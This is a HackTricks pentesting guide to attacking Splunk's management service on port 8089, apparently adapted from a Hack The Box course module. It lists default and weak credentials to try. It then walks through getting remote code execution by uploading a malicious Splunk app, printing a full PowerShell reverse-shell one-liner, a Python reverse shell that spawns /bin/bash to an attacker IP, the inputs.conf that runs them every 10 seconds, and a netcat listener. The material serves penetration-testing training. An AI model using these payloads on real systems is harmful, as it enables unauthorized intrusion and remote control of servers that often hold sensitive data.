hacktricks/network-services-pentesting/8089-splunkd.md
2022-10-08 16:35:25 +00:00

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# 8089 - Pentesting Splunkd
<details>
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</details>
## **Basic Information**
**Splunk** is a **log analytics tool** used to gather, analyze and visualize data. Though not originally intended to be a SIEM tool, Splunk is often used for **security monitoring and business analytics**. Splunk deployments are often used to house **sensitive data** and could provide a wealth of information for an attacker if compromised.
**Default port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
The **Splunk web server runs by default on port 8000**.
{% endhint %}
## Enumeration
### Free Version
The Splunk Enterprise trial converts to a **free version after 60 days**, which **doesnt require authentication**. It is not uncommon for system administrators to install a trial of Splunk to test it out, which is **subsequently forgotten about**. This will automatically convert to the free version that does not have any form of authentication, introducing a security hole in the environment. Some organizations may opt for the free version due to budget constraints, not fully understanding the implications of having no user/role management.
### Default Credentials
On older versions of Splunk, the default credentials are **`admin:changeme`**, which are conveniently displayed on the login page.\
However, **the latest version of Splunk** sets **credentials** **during the installation process**. If the default credentials do not work, it is worth checking for common weak passwords such as `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
### Obtain Information
Once logged in to Splunk, we can **browse data,** run **reports**, create **dashboards**, **install applications** from the Splunkbase library, and install custom applications.\
You can also run code: Splunk has multiple ways of **running code**, such as server-side Django applications, REST endpoints, scripted inputs, and alerting scripts. A common method of gaining remote code execution on a Splunk server is through the use of a scripted input.
Moreover, as Splunk can be installed on Windows or Linux hosts, scripted inputs can be created to run Bash, PowerShell, or Batch scripts.
### Shodan
* `Splunk build`
## RCE
### Create Custom Application
A custom application can run **Python, Batch, Bash, or PowerShell scripts**.\
Note that **Splunk comes with Python installed**, so even in **Windows** systems you will be able to run python code.
You can use [**this**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk package to assist us. The **`bin`** directory in this repo has examples for [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) and [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Let's walk through this step-by-step.
To achieve this, we first need to create a custom Splunk application using the following directory structure:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
The **`bin`** directory will contain any **scripts that we intend to run** (in this case, a **PowerShell** reverse shell), and the default directory will have our `inputs.conf` file. Our reverse shell will be a **PowerShell one-liner:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) file tells Splunk **which script to run** and any other conditions. Here we set the app as enabled and tell Splunk to run the script every 10 seconds. The interval is always in seconds, and the input (script) will only run if this setting is present.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
We need the `.bat` file, which will run when the application is deployed and execute the PowerShell one-liner.
The next step is to choose `Install app from file` and upload the application.
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
Before uploading the malicious custom app, let's start a listener using Netcat or [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
On the `Upload app` page, click on browse, choose the tarball we created earlier and click `Upload`. **** As **soon as we upload the application**, a **reverse shell is received** as the status of the application will automatically be switched to `Enabled`.
#### Linux
If we were dealing with a **Linux host**, we would need to **edit the `rev.py` Python script** before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
In the following page you can find an explanation how this service can be abused to escalate privileges and obtain persistence:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>